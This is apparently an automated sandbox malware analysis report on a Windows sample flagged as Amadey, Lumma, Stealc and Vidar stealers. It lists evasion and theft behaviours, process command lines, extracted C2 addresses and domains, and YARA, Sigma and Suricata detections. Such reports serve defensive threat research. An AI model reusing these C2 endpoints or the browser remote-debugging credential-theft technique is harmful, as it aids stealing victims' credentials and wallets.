Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1550756
MD5:	4077b9cf83c4160818a7937f31b4ef22
SHA1:	9b82eecc478cff3834296fc6425513ae48f8a812
SHA256:	8ef5d60b4e697134c974ce80ecde5f10e05aa6d9390bd9eeb759945a1d1c3bb8
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, HTMLPhisher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected BlockedWebSite

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6808 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4077B9CF83C4160818A7937F31B4EF22)

skotes.exe (PID: 2084 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4077B9CF83C4160818A7937F31B4EF22)

skotes.exe (PID: 3872 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4077B9CF83C4160818A7937F31B4EF22)

skotes.exe (PID: 3452 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4077B9CF83C4160818A7937F31B4EF22)

44e053de15.exe (PID: 3288 cmdline: "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe" MD5: 42CDE78D2F641589728DCA3038565BF9)

932a9eb371.exe (PID: 3980 cmdline: "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe" MD5: BC813A4FC2DA2D8C221C9F5F1D3106AD)

chrome.exe (PID: 2696 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4056 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 7920 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEBGHCFCA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBAEBGHCFCA.exe (PID: 7972 cmdline: "C:\Users\user\DocumentsBAEBGHCFCA.exe" MD5: 4077B9CF83C4160818A7937F31B4EF22)

skotes.exe (PID: 6988 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4077B9CF83C4160818A7937F31B4EF22)

803fbc23e3.exe (PID: 6920 cmdline: "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe" MD5: E23A0338F3332C838F5D925DDEACF8F5)

44e053de15.exe (PID: 5180 cmdline: "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe" MD5: 42CDE78D2F641589728DCA3038565BF9)

932a9eb371.exe (PID: 4452 cmdline: "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe" MD5: BC813A4FC2DA2D8C221C9F5F1D3106AD)

803fbc23e3.exe (PID: 7480 cmdline: "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe" MD5: E23A0338F3332C838F5D925DDEACF8F5)

44e053de15.exe (PID: 7752 cmdline: "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe" MD5: 42CDE78D2F641589728DCA3038565BF9)

932a9eb371.exe (PID: 8164 cmdline: "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe" MD5: BC813A4FC2DA2D8C221C9F5F1D3106AD)

803fbc23e3.exe (PID: 5940 cmdline: "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe" MD5: E23A0338F3332C838F5D925DDEACF8F5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["necklacedmny.store", "presticitpo.store", "navygenerayk.store", "fadehairucw.store", "crisiwarny.store", "founpiuer.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1004528001\pohtent.exe	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2866641995.0000000001421000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2628466446.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2869260656.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2752337356.0000000008AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2867528854.0000000001432000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2876772993.0000000001433000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2806845000.0000000001422000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2985941651.00000000062B1000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2829707200.0000000001420000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2842323679.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2841128463.00000000009E1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2828056172.000000000141D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.2866571637.0000000000031000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2566179633.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2866408312.0000000001421000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2866766045.0000000001421000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2452950173.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.2797456590.000000000101E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2805701051.0000000001425000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2829000705.0000000001420000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2787161669.0000000000031000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2949918486.0000000000031000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2809933804.0000000001432000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2865906204.000000000141D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2633550912.0000000001671000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2656371026.0000000008520000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2808523788.0000000001422000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2592438945.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2876824904.0000000001438000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2498025782.0000000001252000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2808942829.0000000001422000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2876683720.0000000001433000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2805628295.000000000141D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2934224445.0000000006681000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2566286818.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2845208625.0000000001420000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 44e053de15.exe PID: 3288	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 44e053de15.exe PID: 3288	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 44e053de15.exe PID: 3288	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 44e053de15.exe PID: 3288	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 932a9eb371.exe PID: 3980	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 932a9eb371.exe PID: 3980	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 932a9eb371.exe PID: 3980	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 932a9eb371.exe PID: 3980	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 44e053de15.exe PID: 5180	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 44e053de15.exe PID: 5180	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 44e053de15.exe PID: 5180	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 44e053de15.exe PID: 5180	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 44e053de15.exe PID: 5180	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 44e053de15.exe PID: 5180	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 56 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.44e053de15.exe.62b0000.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.44e053de15.exe.6680000.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
17.2.932a9eb371.exe.30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
8.2.932a9eb371.exe.30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
23.2.932a9eb371.exe.30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
22.2.DocumentsBAEBGHCFCA.exe.9e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.990000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.c10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.990000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.990000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3452, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\44e053de15.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe, ParentProcessId: 3980, ParentProcessName: 932a9eb371.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2696, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3452, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\44e053de15.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:00:20.066087+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49730	TCP
2024-11-07T06:00:58.546094+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49736	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:15.879231+0100	2028371	3	Unknown Traffic	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:16.865254+0100	2028371	3	Unknown Traffic	192.168.2.4	49835	104.21.5.155	443	TCP
2024-11-07T06:01:18.848602+0100	2028371	3	Unknown Traffic	192.168.2.4	49844	104.21.5.155	443	TCP
2024-11-07T06:01:20.410542+0100	2028371	3	Unknown Traffic	192.168.2.4	49854	104.21.5.155	443	TCP
2024-11-07T06:01:21.836714+0100	2028371	3	Unknown Traffic	192.168.2.4	49866	104.21.5.155	443	TCP
2024-11-07T06:01:24.568049+0100	2028371	3	Unknown Traffic	192.168.2.4	49879	104.21.5.155	443	TCP
2024-11-07T06:01:27.976024+0100	2028371	3	Unknown Traffic	192.168.2.4	49901	104.21.5.155	443	TCP
2024-11-07T06:01:28.180854+0100	2028371	3	Unknown Traffic	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:30.040037+0100	2028371	3	Unknown Traffic	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:32.316394+0100	2028371	3	Unknown Traffic	192.168.2.4	49932	104.21.5.155	443	TCP
2024-11-07T06:01:33.001000+0100	2028371	3	Unknown Traffic	192.168.2.4	49939	104.21.5.155	443	TCP
2024-11-07T06:01:33.886619+0100	2028371	3	Unknown Traffic	192.168.2.4	49948	104.21.5.155	443	TCP
2024-11-07T06:01:35.452646+0100	2028371	3	Unknown Traffic	192.168.2.4	49961	104.21.5.155	443	TCP
2024-11-07T06:01:38.210587+0100	2028371	3	Unknown Traffic	192.168.2.4	49976	104.21.5.155	443	TCP
2024-11-07T06:01:40.808230+0100	2028371	3	Unknown Traffic	192.168.2.4	49993	104.21.5.155	443	TCP
2024-11-07T06:01:43.256861+0100	2028371	3	Unknown Traffic	192.168.2.4	50010	104.21.5.155	443	TCP
2024-11-07T06:01:51.926317+0100	2028371	3	Unknown Traffic	192.168.2.4	50059	104.21.5.155	443	TCP
2024-11-07T06:01:54.026835+0100	2028371	3	Unknown Traffic	192.168.2.4	50061	104.21.5.155	443	TCP
2024-11-07T06:01:56.044212+0100	2028371	3	Unknown Traffic	192.168.2.4	50062	104.21.5.155	443	TCP
2024-11-07T06:01:57.893036+0100	2028371	3	Unknown Traffic	192.168.2.4	50065	104.21.5.155	443	TCP
2024-11-07T06:01:59.664578+0100	2028371	3	Unknown Traffic	192.168.2.4	50067	104.21.5.155	443	TCP
2024-11-07T06:02:02.416922+0100	2028371	3	Unknown Traffic	192.168.2.4	50069	104.21.5.155	443	TCP
2024-11-07T06:02:05.335224+0100	2028371	3	Unknown Traffic	192.168.2.4	50072	104.21.5.155	443	TCP
2024-11-07T06:02:07.835717+0100	2028371	3	Unknown Traffic	192.168.2.4	50074	104.21.5.155	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:10.345309+0100	2044623	1	A Network Trojan was detected	192.168.2.4	49791	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:16.149263+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:17.372262+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49835	104.21.5.155	443	TCP
2024-11-07T06:01:29.173318+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:30.511143+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:33.715815+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49939	104.21.5.155	443	TCP
2024-11-07T06:01:43.909241+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50010	104.21.5.155	443	TCP
2024-11-07T06:01:52.137550+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50059	104.21.5.155	443	TCP
2024-11-07T06:01:54.395602+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50061	104.21.5.155	443	TCP
2024-11-07T06:02:08.303153+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50074	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:16.149263+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:29.173318+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:52.137550+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50059	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:17.372262+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49835	104.21.5.155	443	TCP
